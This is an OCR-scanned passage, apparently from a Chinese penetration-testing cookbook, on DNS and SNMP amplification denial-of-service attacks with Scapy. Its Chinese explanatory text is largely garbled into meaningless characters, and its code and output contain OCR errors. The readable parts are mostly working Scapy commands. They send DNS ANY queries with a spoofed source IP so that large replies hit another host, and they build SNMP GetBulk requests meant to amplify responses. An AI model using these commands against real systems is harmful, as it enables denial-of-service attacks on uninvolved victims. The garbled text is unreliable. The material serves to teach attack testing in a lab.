BB o MAEFMIEFLERE TS » FIARENERZKEDNS qd 14 :

>>> d.qd = q
>>> d.display()
###[ DNS |###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
rcode= ok
gdcount= 1
ancount= 0
nscount= 0
arcount= 0
\qd\
| ###[ DNS Question Record ]|###
I

gnhame= 'google.com'

|
qtype= ALL

I
gclass= IN

an= None
ns= None
ar= None

EAVTAEL B display() HERBIEFAMIZE LS TKES DNS qd 44 3
FECZ¥MZET IP> UDP #2 DNS & » # B 2548 % 65 5 412 5 K4 DNS & » &
IERZSTECE: X Se Y= AR



>>> request = (1i/u/d)

>>> request.display()

#Hit#[ IP |###
version= 4

ihl= None
tos= Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= udp

chksum= None
src= 172.16.36.180
dst= 208.67.220.220
\options\

###[ UDP |###
sport= domain
dport= domain
len= None
chksum= None

###[ DNS [###

id= 0

qr= 0

opcode= QUERY
aa= 0

tc= 0

rd= 1

ra= 0

z= 0

rcode= ok
gdcount= 1

ancount= 0

nscount= 0

arcount= 0

\qd\
| ###[ DNS Question Record |###
| gname= 'google.com'

| gtype= ALL
| gclass= IN
an= None
ns= None
ar= None

TAALE ALY TET ERMES IP> UDP 2 DNS B o RJE T I & 2 W4
RTEANERGFHTE - RETUAREMA display() R EkEAFRORE - &
BFEERZA KRN ZARRN L TEXERFEC BARNERELA AL o &
Ao BT A EIFHM AT LI MEE RFoeh B Z 8 X A3 K o 3TV T A1
RAEERTMR



>>> request

<IP frag=0 proto=udp dst=208.67.220.220 |<UDP sport=domain |<D
NS rd=1 gqdcount=1 gqd=<DNSQR qname='google.com' qtype=ALL |> |>
>>

—B R I THR s CRTARAE RS R EHRRE > HERATT AR o &K
NEALBEMRE—NTE > AAEZBRARNZRIEK > MET AR G X EFA
)T

>>> srl(request)
Begin emission:

Received 50 packets, got 1 answers, remaining O packets

<IP version=4L ihl=5L tos=0x0 len=378 1d=29706 flags= frag=0OL t
t1=128 proto=udp chksum=0x4750 src=208.67.220.220 dst=172.16.36.
232 options=[] |<UDP sport=domain dport=domain len=358 chksum=0
xf360 |<DNS 1id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0
L rcode=ok gdcount=1 ancount=17 nscount=0 arcount=0 gd=<DNSQR (¢
name="'google.com.' qtype=ALL gclass=IN |> an=<DNSRR rrname='goo
gle.com.' type=A rclass=IN tt1=188 rdata='74.125.228.103"' |<DNSR
R rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.2
28.102' |<DNSRR rrname='google.com."' type=A rclass=IN tt1=188 r
data='74.125.228.98' |<DNSRR rrname='google.com.' type=A rclass
=IN ttl=188 rdata='74.125.228.96"' |<DNSRR rrname='google. com.'
type=A rclass=IN ttl=188 rdata='74.125.228.99' |<DNSRR rrname=
'google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.110"' |<
DNSRR rrname='google.com.' type=A rclass=IN ttl=188 rdata='74.1
25.228.100" |<DNSRR rrname='google.com.' type=A rclass=IN ttl=1
88 rdata='74.125.228.97"' |<DNSRR rrname='google.com.' type=A rc
lass=IN ttl1=188 rdata='74.125.228.104"' |<DNSRR rrname='google.
com.' type=A rclass=IN ttl=188 rdata='74.125.228.105"' |<DNSRR r
rname='google.com.' type=A rclass=IN ttl=188 rdata='74.125.228.1
01' |<DNSRR rrname='google.com.' type=AAAA rclass=IN ttl=234 rd
ata='2607 :f8b0:4004:803::1002' |<DNSRR rrname='google.com.' ty
pe=NS rclass=IN ttl=171376 rdata='ns2.google.com.' |<DNSRR rrna
me='google.com."' type=NS rclass=IN ttl=171376 rdata='nsl.google.
com.' |<DNSRR rrname='google. com.' type=NS rclass=IN ttl=17137
6 rdata='ns3.google.com.' |<DNSRR rrname='google.com.' type=NS
rclass=IN ttl=171376 rdata='ns4.google.com.' |<DNSRR rrname="'go
ogle.com.' type=SOA rclass=IN ttl=595 rdata='\xc1l\x06\ tdns-admi
N\XCO\XOC\XO0\X17\xd0 "\x00\Xx00\x1c \Xx00\X00\x07\x08\x00\x12u\ x0
0\X00\X00\x01, ' |>>>>>>>>>>>>>>>>> ns=None ar=None |>>>

%A I T RO RAMETEGEFER > FAEMNTCHERT — M E REGHKA
% ¥ &3 google.com A1 ANAILFE » 1 MAAAAILFE » 4MNSIE F A 14
SOAILFE o A I FHMMEAN » FROGARAIRTHERRY o ATHEIASAEK



HEAK  CELAIMNERIP AT EH K168 47 ¢

>>> j.src = "172.16.36.135"
>>> j.display()
#a[ IP |###
version= 4
ihl= None
tos= Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.135
dst= 208.67.220.220
\options\
>>> request = (i/u/d)
>>> request
<IP frag=0 proto=udp src=172.16.36.135 dst=208.67.220.220 |<UDP
sport=domain |<DNS rd=1 qdcount=1 qd=<DNSQR qgname='google.co
m' qtype=ALL [> |>>>

R P IMEEH T XN B AR AL IP A FH B )G » &ATT g

Al display() RHZAANZBECEE o RERNTAERZRNGERBE0EHK -
AT RBRIEBRAN A TS IS DNS L9 ar €8 w3 bty T4 » AT AL ML
J& # TCPdump :

admin@ubuntu:~$ sudo tcpdump -i eth® src 208.67.220.220 -vv
[sudo] password for admin:

tcpdump: listening on eth®, link-type EN1OMB (Ethernet), capture
size 65535 bytes

LR TH P > TCPdump B EF#H K etho o ks %
Bl 208.67.220.220 ‘it (B GDNSR F R egit) BIFTARE - RB » &
=T A& ]l send() k&R #E&A1694F K ¢

>>> send(request)

Sent 1 packets.
>>> send(request)

Sent 1 packets.

K% RE » B2 %R EE TCPdump 89 A& » 321k DNS &9 697k &2 & FiR
WETXEREE



tcpdump: listening on eth®, link-type EN1OMB (Ethernet), capture
size 65535 bytes

19:07:12.926773 IP (tos Ox0, ttl 128, id 11341, offset 0, flags

[none], proto UDP (17), length 350) resolver2.opendns.com.domain
> 172.16.36.135. domain: [udp sum ok] © q: ANY? google.com. 16/
0/0 google.com. A yyz08s13in-f4.1el100.net, google.com. A yyz08sl
3-in-f5.1e100.net, google. com. A yyz08s13-in-f14.1e100.net, goo
gle.com. A yyz08s13-in-f6.1e100. net, google.com. A yyz08sl13-in-
f2.1e100.net, google.com. A yyz08s13in-f0.1el100.net, google.com.
A yyz08s13-in-f3.1e100.net, google.com. A yyz08s13-in-f1.1e100.
net, google.com. A yyz08s13-in-f9.1e100.net, google. com. A yyz0
8s13-in-f7.1e100.net, google.com. A yyz08s13-in-f8.1e100.net, go
ogle.com. NS ns2.google.com., google.com. NS nsl.google.com., go
ogle. com. NS ns3.google.com., google.com. NS ns4.google.com., g
oogle.com. SOA nsl.google.com. dns-admin.google.com. 1545677 720
0 1800 1209600 300 (322)

19:07:15.448636 IP (tos Ox0, ttl 128, id 11359, offset 0, flags

[none], proto UDP (17), length 350) resolver2.opendns.com.domain
> 172.16.36.135. domain: [udp sum ok] @ q: ANY? google.com. 16/
0/0 google.com. A yyz08s13in-f14.1e100.net, google.com. A yyz08s
13-in-f6.1e100.net, google.com. A yyz08s13-in-f2.1e100.net, goog
le.com. A yyz08s13-in-f0.1el100.net, google. com. A yyz08s13-in-f
3.1e100.net, google.com. A yyz08s13-in-f1.1e100. net, google.com
. A yyz08s13-in-f9.1e100.net, google.com. A yyz08s13in-f7.1e100.
net, google.com. A yyz08s13-in-f8.1e100.net, google.com. A yyz08
s13-in-f4.1e100.net, google.com. A yyz08s13-in-f5.1e100.net, goo
gle. com. NS ns2.google.com., google.com. NS nsil.google.com., go
ogle.com. NS ns3.google.com., google.com. NS ns4.google.com., go
ogle.com. SOA nsl. google.com. dns-admin.google.com. 1545677 720
0 1800 1209600 300 (322)

32/1\;}){144’? DNS ﬁ‘iké/] %é“/]\}iﬁi ’ 9":]3,]‘—\']:6]‘ Vl}ﬂ Scapy CP éﬁ.‘ﬁf’j‘éﬁé\z‘h\;ﬁl‘f? : lltép\
SMERBTA S E—AN% Rt g R 694 o RE T 5K count 1AL E LE R
HH 2 EIRS E B R

>>> send(IP(dst="208.67.220.220",src="172.16.36.135")/UDP()/DNS(
rd=1,gdco unt=1, qd=DNSQR(qgname="google.com",6 qtype=255)), verbose=
1,count=2)

Sent 2 packets.

I AE)R 3

MREEFGRERFANRNGE =7 %E > RREAREEE AR o T % EmKRSEH &
IR it A

o J T HATH F gh L It KRR
o RAFERMMMEL N ZEERTHTHEREHHER -



DNS #& K FH 692X £ B &2 T DNS Zigagem ) K> o F 9> TA@ 4 A % A~
DNS /R % 5 k3G B EH A o

6.5 SNMP 7t K DoS =&

SNMP ¥ Bk &8 it & B A KB ohy o 89 214 » kA A B4R 545 % 5T 70 69 SNMP
& & o it4E F oA X, DDoS A4 > LB A K F i E % A~ SNMP % & & %15 K »
TR X Fp sk H oy F o

&

AT I SNMP s ksk & » REZA -2 A SNMP 891% & o FTi4E 64 =44 A
Windows XP & % o A %1% & Windows A48 E 512 8 55 A R HF—FF
a2z % Windows Server’#bi% o stoh > b4 Ubuntu A Ea B 4 - A X%
& Ubuntu 89 £ %13 8 > H 5 M A$H FH—F F 6“2 K Ubuntu Server'#b4 o

A B

AT RINEZBL—4A SNMP £ > # L2 3| RN AL » kit FR
RGBT KD o AT RERN Y SNMP &4 K » RAVLA 4 et 2 sis £64
B o BMNEEZHMENEZ—EZIPE :



>>> 1 = IP()
>>> j.display()
#a[ IP |###
version= 4
ihl= None
tos= Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> j.dst = "172.16.36.134"
>>> i.display()
###[ IP |###
version= 4
ihl= None
tos= Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= 1ip
chksum= None
src= 172.16.36.224
dst= 172.16.36.134
\options\

ZHMERNGFERGIPE > RNEZH IP HEMLEE 1 - @A

A display() #i%k AN TABT G LG EMERE o BF > R FE IR IEE
WA EZERIE 127.0.0.1 © TR i.dst XE A BRI FHFEME 0 %
F R B AR SRS B eqh o A ARAA display() REk 0 RATTUAEFE » R
R 3T B A3t » M Scapy W& B R IP ik F 34 5 KA 048 X693
do MAERMNCEMETHRGIPE » KRANZ ZELME UDP 2 :

>>> u = UDP()
>>> u.display()
#i#[ UDP |###
sport= domain
dport= domain
len= None
chksum= None



FHEEANEE K UDP B » BN A SIPEARHER o £REEE T

T UDP M EMLT u BE o wAATH > TAAILAM display() REkk#

TERINEE o X E > KA1 AA B RA B 4538 2 69 ZKIAMEARZ] 4 domain o &

THAF R » X ERTH% 0 5348%8) DNS/R % - IRT R 2555 » ©F 215K H
SNMP #8 %8934 a :

>>> u.dport 161
>>> y.sport 161
>>> u.display()
###[ UDP |###
sport= snmp
dport= snmp
len= None
chksum= None

L34 R O A B drskh 0 B h SNMP » S0 #4008 161 548 s & T 50
% X B H) UDP sk 2 o X3 F BT vl AR AR display() SR# ke o i
CEMET IPF UDP & » &£41F E42E SNMP & :

>>> snmp = SNMP()
>>> snmp.display()
#i#[ SNMP [###
version= v2c
community= 'public'
\PDU\
| ###[ SNMPget |###
| id= 0
| error= no_error
| error_index= 0
I
\varbindlist\

AT MERANGE R SNMP 2 » 41954 A 5 IP #= UDP ZA R 89 K o 4R
BrEg B F 0 SNMP R TRL snmp T E o wATHT » T AE LA
Al display() ##FH KAz IRKIAGEE - NECEHET IP> UDP 2 SNMP 2 » £
MNEZME-ARETFRELHRKIARS PDU 469 SNMPget %K :

>>> pulk = SNMPbulk()
>>> pulk.display()
###[ SNMPbulk ]###
id= 0
non_repeaters= 0
max_repetitions= 0
\varbindlist\



1 T HE SNMP #E5 K » ZAVEE A5 IP > UDP #» SNMP ZAa Rl 694 K o &
AR P > SNMP #EF REKL T bulk TF o Leal ATk » 7T Al iR
Al display() & KkAAIAKIAGRE o £XE » AT AF R A LA 2H 2

>>> pulk.max_repetitions = 50
>>> pulk.varbindlist=[SNMPvarbind(oid=ASN1_0ID('1.3.6.1.2.1.1"))
, SNMPvarb ind(0id=ASN1_0ID('1.3.6.1.2.1.19.1.3"))]
>>> pulk.display()
###[ SNMPbulk ]###

id= 0

non_repeaters= 0

max_repetitions= 50

\varbindlist\

| ###[ SNMPvarbind J###

| oid= <ASN1_0ID['.1.3.6.1.2.1.1']>

| value= <ASN1_NULL[O]>

| ###[ SNMPvarbind ]###

| o0id= <ASN1_0OID['.1.3.6.1.2.1.19.1.3']>

| value= <ASN1_NULL[O]>

SNMP varbindlist & &k a4 &19469 OID 14 - sk
9F » max_repetitions W T #EFHKMEA 50 AAREFRLERE TE » hFF K
xt %2 R4 SNMP PDU 1A :

>>> snmp.PDU = bulk
>>> snmp.display()
#i##[ SNMP |###
version= v2c
community= 'public'
\PDU\
| ###[ SNMPbulk ]###
| 1d= 0
| non_repeaters= 0
| max_repetitions= 50
| \varbindlist\

|
| ###[ SNMPvarbind ]###

|
| oid= <ASN1_0ID['.1.3.6.1.2.1.1']>

|

| value= <ASN1_NULL[O]>
|

| ###[ SNMPvarbind ]###

I
| oid= <ASN1_0ID['.1.3.6.1.2.1.19.1.3']>

I
| value= <ASN1_NULL[O]>



EAT AR A display() RF kB s EH LKL E LMWL SNMP PDU 14 °
I CLZMIET IP> UDP 4= SNMP 2 » 3 Bt& ik R &2 B i K% SNMP
B AT AR XL E kMEF R

>>> request = (i/u/snmp)
>>> request.display()
#Hit#[ IP |###

version= 4

ihl= None
tos= 0Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= udp

chksum= None
src= 172.16.36.224
dst= 172.16.36.134
\options\
###[ UDP ###
sport= snmp
dport= snmp
len= None
chksum= None
###[ SNMP | ###
version= v2c
community= 'public'

\PDU\
| ###[ SNMPbulk ]###
| id= 0

| non_repeaters= 0

| max_repetitions= 50

|  \varbindlist\

I

| ###[ SNMPvarbind ]###

|

| o0id= <ASN1_0OID['.1.3.6.1.2.1.1']>

|

| value= <ASN1_NULL[O]>

|

| ###[ SNMPvarbind ]###

|

| o0id= <ASN1_0OID['.1.3.6.1.2.1.19.1.3']>
|
|

value= <ASN1_NULL[O]>

TAAAE AL TR T RS IP > UDP f2 SNMP 2 o KRG T A X & 2 R4
ATEMNERGHTE - RETWUAM display() H#&kEAFRGEE - —
BRI THR sRT RGBSR LR EF N R AR T A Mok 2



>>> ans = srl(request,verbose=1, timeout=5)
Begin emission:
Finished to send 1 packets.

Received 1 packets, got 1 answers, remaining 0 packets
>>> ans.display()

#Hit#[ IP |###
version= 4L
ihl= 5L
tos= Ox0
len= 1500
id= 27527
flags= MF
frag= oL
ttl= 128
proto= udp
chksum= 0x803
src= 172.16.36.134
dst= 172.16.36.224
\options\
#i#[ UDP |###
sport= snmp
dport= snmp
len= 2161
chksum= Oxdcbf
###[ Raw |###
load= '0\x82\x08e\x02\x01\x01\x04\x06public\xa2\x82\x08V\x0
2\ XO01\XO00\XO2\XO1\XO0\X02\Xx01\X000\x82\x08I0\x81\x8b\x06\x08+\Xx
06\x01\x02\ x01\x01\x01\x00\x04\x7fHardware: x86 Family 6 Model
58 Stepping 9 AT/AT COMPATIBLE - Software: Windows 2000 Version
5.1 (Build 2600 Uniprocessor Free)0\x10\x06\t+\x06\x01\x02\x01\x
19\X01\X01\XO0C\XO3p\XFf?20\x18\x06\ Xx08+\x06\x01\x02\x01\x01\x02
AXO0\XO06\XOC+H\X06\XO01\Xx04\Xx01\x827\x01\x01\ x03\x01\x010\x15\x06
\t+\XO6\XOI\XO2\X01\X19\X01\X02\X00\x04\x08\x07\xde\ x02\x19\x08
\r\X1d\X030\XOTF\X06\X08+\XO6\XO1\X02\X01\X01\X03\Xx00C\x030\ x8e\
x8a0\x0e\X06\t+\X06\X01\X02\X01\X19\Xx01\Xx03\Xx00\x02\x01\x000\x0cC
\ X06\X08+\X06\X01\X02\X01\X01\Xx04\Xx00\X04\ X000\ r\x06\t+\x06\x01
AXO02\X01\ X19\X01\x04\x00\Xx04\X000\Xx1b\Xx06\Xx08+\Xx06\Xx01\x02\x01\
X01\XO05\X00\Xx04\ XOFfDEMO-72E8F41CA40\Xx0e\X06\t+\x06\x01\x02\x01\
X19\X01\XO5\X00B\X01\X020\ XOc\X06\Xx08+\x06\Xx01\x02\Xx01\x01\x06\
X00\X04\X000\Xx0e\X06\t+\X06\X01\ XO02\X01\X19\X01\Xx06\Xx00B\Xx01/0\
r\x06\x08+\x06\X01\X02\X01\X01\XO7\X00\ Xx02\X01LO\Xx0e\x06\t+\x06
AXOINXO2\XOI\XI9\XOINXO7\XOO\XO2\X01\X000\r\x06\ XxX08+\x06\x01\x0
2\X01\X02\X01\X00\X02\X01\X020\X10\X06\t+\x06\x01\Xx02\x01\ x19\Xx
02\ X02\X00\X02\XO3\XIF\XFA\XFOO\XOF\X06\N+\X06 \XO1\XO2\X01\X02\X
02\ XO01\XOI\XO1\XO02\X01\X010\X1O0\X06\XOb+\XO6\X01\X02\X01\Xx19\Xx0
2\X03\X01\ XO1\XOI\X02\X01\X010\XOF\X06\N+\X06\X01\Xx02\Xx01\x02\X
02\ X01\X01\X02\Xx02\ X01\X020\X10\XO06\XOb+\XO6\X01\X02\X01\Xx19\Xx0
2\X03\x01\x01\x02\x02\x01\ x020(\x06\n+\x06\x01\x02\x01\x02\x02\
X01\x02\x01\x04\x1aMS TCP Loopback interface\x000\x10\x06\x0b+\x
06 \X01\X02\X01\X19\X02\X03\X01\X01\X03\Xx02\Xx01\XO30P\Xx06\n+\x06\
X01\x02\x01\x02\x02\x01\x02\x02\x04BAMD PCNET Family PCI Etherne



t Adapter - Packet Scheduler Miniport\x000\x10\x06\x0b+\x06\ x01
AXO2\X01\X19\Xx02\XO3\XO1\XO01\X04\Xx02\ X001\ X040\ X0\ x06\n+\x06\x01
AX02\ x01\Xx02\x02\x01\x03\x01\x02\x01\x180\x10\x06\x0b+\x06\x01\
X02\x01\x19\ Xx02\x03\x01\x01\x05\x02\x01\x050\x0Ff\x06\n+\x06\x01
\X02\X01\x02\x02\x01\ x03\x02\x02\x01\x060\x18\x06\x0b+\x06\x01\
X02\X01\x19\x02\x03\x01\x02\ XO1\Xx06\t+\x06\x01\x02\x01\x19\x02\
X01\X050\x10\X06\n+\X06\X01\X02\X01\ X02\x02\Xx01\x04\x01\x02\x02
\XO5\XTFOO\X18\X06\XOb+\X06\Xx01\Xx02\x01\x19\ x02\Xx03\x01\x02\x02\
XO06\t+\X06\x01\x02\x01\x19\x02\x01\x040\x10\x06\n+\ Xx06\x01\x02\
X01\Xx02\x02\x01\x04\x02\x02\x02\x05\xdcO\x18\x06\x0b+\x06\ x01\Xx
02\x01\x19\x02\x03\Xx01\x02\Xx03\X06\t+\Xx06\x01\Xx02\x01\x19\x02\x0
1\ x070\x12\x06\n+\X06\X01\X02\X01\Xx02\Xx02\Xx01\x05\x01B\x04\x00\
x98\x96\ x800\x18\x06\x0b+\Xx06\Xx01\Xx02\x01\Xx19\x02\x03\x01\x02\x
04\Xx06\t+\x06\ Xx01\x02\x01\x19\x02\x01\x030\x12\x06\n+\x06\x01\Xx
02\X01\Xx02\x02\x01\x05\ Xx02B\x04;\x9a\xca\x000\x18\x06\x0b+\x06\
XOANXO02\XOI\X19\X02\X03\X01\X02\ XO5\X06\t+\x06\x01\x02\x01\x19\
X02\X01\x020\x0e\X06\n+\X06\X01\x02\x01\ Xx02\x02\x01\x06\x01\x04
AXO00\X12\X06\XO0b+\X06\X01\X02\Xx01\x19\x02\x03\ x01\x03\x01\x04\
XO3A:\\O\X14\X06\n+\X06\X01\X02\X01\Xx02\x02\x01\x06\x02\ x04\x06
AXO0\X0C ) \X18\X11\XxTbhO1\Xx06\x0b+\Xx06\x01\Xx02\x01\x19\x02\x03\x01
\ X03\x02\x04"C:\\ Label: Serial Number 5838200b0O\XOf\Xx06\n+\x0
6\X01\X02\ XO1\XO2\X02\X01\X07\X01\X02\X01\Xx010\x12\x06\x0b+\Xx06
AXOI\NXO02\X01\X19\ x02\Xx03\X01\X03\Xx03\Xx04\Xx03D: \\O\XOF\Xx06\n+\x0
B6A\X01\X02\X01\X02\X02\Xx01\ XO07\X02\x02\Xx01\x010\x1d\x06\x0b+\Xx06
AXO01\X02\X01\x19\x02\x03\x01\x03\ x04\x04\x0eVirtual MemoryO\x0Of
AXO6\N+F\XO6\XOI\XO2\X01\X02\X02\X01\Xx08\ X01\Xx02\x01\x010\x1e\x0
6\Xx0b+\x06\x01\x02\Xx01\x19\x02\x03\x01\x03\x05\ x04\x0fPhysical
Memory@\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x08\x02\ x02\x01\
X010\X10\X06\XOb+\X06\XO01\XO02\XO01\X19\XO2\XO3\X01\X04\X01\Xx02\ X
01\X000\XOTAXO6\N+\XO06\XO0I1\X02\XO0I1\X02\X02\XO1\t\X01C\X01\ X000\ X
11\X06\ XOb+\X06\X01\X02\X01\X19\X02\XO03\X01\X04\X02\Xx02\Xx02\Xx10
AXO00\X11\X06\ N+\X06\X01\X02\X01\X02\X02\X01\t\x02C\x03m\xbbeO\
X10\XO06\XOb+\Xx06\X01\ X02\X01\X19\X02\XO3\X01\X04\X03\Xx02\Xx01\Xx0
00\X12\Xx06\N+\X06\X01\Xx02\x01\ x02\x02\x01\n\Xx01A\X04\x05\xchb\xd
6MOAX12\X06\XOb+\X06\X01\X02\Xx01\Xx19\ X02\Xx03\Xx01\x04\Xx04\Xx02\X0
3\X0I\XO0\X000\X11\X06\N+\XO06\XO1\XO2\X01\X02\ XO02\XO01\n\x02A\X0
3\X06\xb1\xa80\x12\x06\Xx0b+\X06\X01\Xx02\x01\x19\x02\x03\ x01\x04
AXO5\X02\X03\X01\X00\ X000\ X11\X06 \n+\X06\X01\Xx02\x01\x02\x02\x01
\ XOb\XO1ANXO3\rRAX920\X10\X06\XOb+\X06\X01\X02\Xx01\Xx19\x02\x03\
X01\X05\ X01\Xx02\X01\X000\X10\X06\n+\X06\X01\Xx02\x01\x02\x02\x01
AXOb\X02A\X02\X0c\ XFed\X13\X06\X0b+\X06\X01\X02\Xx01\Xx19\x02\x03
AXOI1\XO05\X02\x02\x04\Xx00\ X9F\XxF6a0\X0Ff\X06\N+\XO6\XO1\X02\X01\X
02\X02\X01\XOC\XOI1A\XOI\X000\X10\ XO6\XOb+\Xx06\XO1\XO02\X01\X19\X
02\X03\X01\X05\X03\x02\x01\x000'

AN T RIS ERAMET AT &R K L5 R iAok K48 bk o
CA2HRTA S RGHH o G4l > EALART LA Scapy F 89 £ 44k
AT o b SR ATA S E—AN% 2] P idb a9t B 69 4A

>>> sri1(IP(dst="172.16.36.134")/UDP(sport=161,dport=161)/ SNMP(P
DU=SNMPbulk(max_repetitions=50,varbindlist=[SNMPvarbind(oid=ASN1



_0D('1.3.6.1.2.1.1")),SNMPvarbind(0id=ASN1_0ID('1.3.6.1.2.1.19.1
.3'))])),ve rbose=1, timeout=5)

Begin emission: Finished to send 1 packets.

<IP version=4L ihl=5L tos=0x0 len=1500 id=14170 flags=MF frag=0
L tt1l=128 proto=udp chksum=0x3c30 src=172.16.36.134 dst=172.16.3
6.224 options=[] |<UDP sport=snmp dport=snmp len=2162 chksum=0x
d961 |<Raw load='0\x82\ x08f\x02\x01\x01\x04\x06public\xa2\x82\
X08WAX02\X01\X00\Xx02\Xx01\x00\ x02\x01\x000\x82\x08J0\x81\x8b\x06
AX08+\x06\x01\x02\x01\x01\x01\x00\ x04\x7fHardware: x86 Family 6
Model 58 Stepping 9 AT/AT COMPATIBLE - Software: Windows 2000 V
ersion 5.1 (Build 2600 Uniprocessor Free)0\x11\ x06\t+\x06\x01\x
02\X01\Xx19\X01\X01\X00C\x04\x00\xa3i\xad0\x18\x06\x08+\ x06\x01\
XO2\X0A\XOI\XO2\XOO\XO06\XOC+\XO6\XO01\X04\X01\X827\X01\Xx01\Xx03\ X
01\X010\X15\XO6 \t+\X06\X01\X02\X01\X19\X01\Xx02\X00\X04\XO8\XO7\X
de\x02\ x19\t\x08!\Xx010\XOT\XO6\X08+\XO6\XO1\XO2\X01\X01\X03\Xx00
C\x03t\x99\x180\ x0e\XxO06\t+\Xx06\Xx01\x02\Xx01\x19\x01\Xx03\x00\x02\
X01\X000\X0c\X06\Xx08+\ XO06\X01\Xx02\Xx01\Xx01\Xx04\Xx00\X04\X000\r\x0
B\ t+\X06\X01\X02\X01\Xx19\x01\ X04\x00\x04\Xx000\Xx1b\Xx06\Xx08+\x06\
XOA\XO02\XOI\XO1\XO5\X00\X04\XOTDEMO72E8F41CA40\x0e\X06\t+\x06\x0
I\XO2\X01\X19\X01\X05\X00B\X01\X020\X0c\X06\ XO8+\Xx06\X01\Xx02\x0
1\XO1\X06\X00\X04\X000\X0e\X06\t+\Xx06\X01\Xx02\x01\ x19\x01\x06\X
0OB\X01/0\r\x06\x08+\X06\X01\X02\X01\X01\X07\X00\x02\x01LO\ x0e\
XOB6\t+\X06\XO0I\X02\XO0I\X19\XO0I\XO07\XO00\X02\X01\ X000\ r\x06\x08+\X
06\ X01\XO02\XO01\XO02\X01\X00\X02\X01\X020\X10\X06\t+\x06\x01\x02\
XOA\X19\X02\ X02\XO0\XO2\XO3\X1F\XFd\XFOO\XOTF\X06\n+\Xx06\x01\x02
AXOI\XO02\X02\X01\X01\ XO01\X02\X01\X010\X10\X06\XOb+\Xx06\x01\x02\
XOA\NX19\XO2\XO3\XOI\XO0I\X01\ XO02\XO01\X010\XOF\X06\n+\Xx06\x01\x02
AXOI\NXO02\X02\X01\XO0I\XO2\X02\X01\X020\ X10\X06\XOb+\Xx06\x01\x02\
X01\X19\x02\x03\x01\x01\x02\x02\x01\x020 (\x06\ n+\xO06\x01\x02\x0
1\x02\x02\x01\x02\x01\x04\x1aMS TCP Loopback interface\ x000\x10
AXO6\XOb+\XO06\XOI\XO02\XOI\X19\XO02\XO3\XO1\XO1\XO03\X02\X01\X030P\
X06\N+\X06\XO01\X02\X01\Xx02\x02\x01\x02\x02\x04BAMD PCNET Family
PCI Ethernet Adapter - Packet Scheduler Miniport\x000\x10\x06\X
Ob+\x06\X01\ X02\X01\X19\XO02\XO03\X01\X01\X04\X02\X01\Xx040\Xx0f\x0
6 \N+\X06\X0I\X02\X01\ X02\X02\X01\X03\X01\Xx02\x01\x180\x10\Xx06\X
Ob+\X06\XO01\XO02\X01\X19\X02\ XO3\XO01\X01\X05\Xx02\Xx01\Xx050\x0f\x0
6 \N+\X06\X0I\X02\X01\X02\Xx02\Xx01\Xx03\ X02\Xx02\x01\Xx060\x18\x06\X
Ob+\X06\XOI\XO02\XO01\X19\X02\X03\X01\X02\Xx01\ XO06\t+\x06\x01\x02\
XO1\X19\X02\X01\ X050\ X10\X06 \Nn+\X06\X01\Xx02\x01\x02\ x02\x01\x04
AXOI\XO02\X02\XO5\XFOO\X18\X06 \XOb+\Xx06\X01\Xx02\x01\Xx19\x02\ x0O3\
XOI\XO02\XO02\XO6\t+\X06\XO01\X02\X0I1\Xx19\x02\x01\x040\x10\x06\n+\X
06\ X01\XO02\XO01\X02\X02\X01\X04\Xx02\x02\x02\x05\xdcO\x18\x06\x0b
FAXO06\XO01\ XO02\XO01I\X19\X02\X03\XO0I1\X02\X03\X06\t+\X06\X01\Xx02\x0
1\X19\X02\X01\X070\ x12\X06\n+\X06\X01\X02\X01\Xx02\Xx02\Xx01\x05\X
01B\x04\x00\Xx98\Xx96\x800\ x18\x06\XOb+\x06\Xx01\Xx02\X01\Xx19\Xx02\X
03\ X01\X02\X04\X06\t+\Xx06\Xx01\x02\ XO0I1\Xx19\x02\Xx01\Xx030\x12\x06\
N+\X06\X01\X02\X01\X02\Xx02\Xx01\Xx05\x02B\ x04;\x9a\xca\x000\x18\Xx
06 \XOb+\X06\XO01\X02\X01\X19\X02\X03\X01\Xx02\x05\ X06\t+\x06\x01\
X02\X01\X19\Xx02\x01\x020\x0e\x06 \n+\x06\x01\x02\x01\x02\ x02\x01
AX06\X01\X04\X000\X12\X06 \XOb+\X06\X01\X02\Xx01\x19\x02\x03\x01\
XO3\X01\X04\XO03A : \\0\x14\X06 \n+\X06\X01\X02\Xx01\x02\x02\x01\x06\



X02\x04\ x06\x00\x0c)\x18\x11\xFbO1\x06\x0b+\x06\x01\x02\x01\x19
\X02\x03\x01\x03\x02\x04"C:\\ Label: Serial Number 5838200b0\x0
FAXO6\N+\X06\X01\Xx02\ X021\ Xx02\x02\XxO01\XO7\Xx01\Xx02\x01\x010\x12\X
06\x0b+\x06\x01\x02\x01\x19\x02\ x03\x01\x03\x03\x04\x03D:\\0\x0
FAXO6\N+\X06\XO01\XO02\XO01\XO02\Xx02\ X021\ X007\ Xx02\x02\x01\x010\x1d\X
06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\x04\ x04\x0eVirtual
Memory@\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x08\x01\ x02\x01\
X010\ x1e\x06\Xx0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\x05\x04\ X
0fPhysical Memory0\xO0f\x06\n+\x06\Xx01\x02\Xx01\x02\x02\x01\x08\x0
2\x02\ x01\x010\x10\x06\XxOb+\x06\x01\x02\x01\Xx19\x02\x03\x01\x04
AXOI\X02\X01\ XO000\XOTF\X06\N+\XO6\XOI\XO2\X01\X02\x02\x01\t\x01C
AXOI\XO000\X1I1\X06\XO0b+\ X06\X01\X02\X01\Xx19\x02\x03\x01\x04\x02\
X02\X02\X10\X000\X11\Xx06\n+\X06\ X0O01\X02\Xx01\x02\Xx02\x01\t\x02C\
XO3M\XbbOO\X10\X06\X0b+\X06\X01\X02\Xx01\ X19\x02\x03\x01\x04\x03
AXO2\XO01\XO00\X12\X06\n+\X06\XO01\X02\X01\x02\x02\ XxO01\n\x01A\Xx04
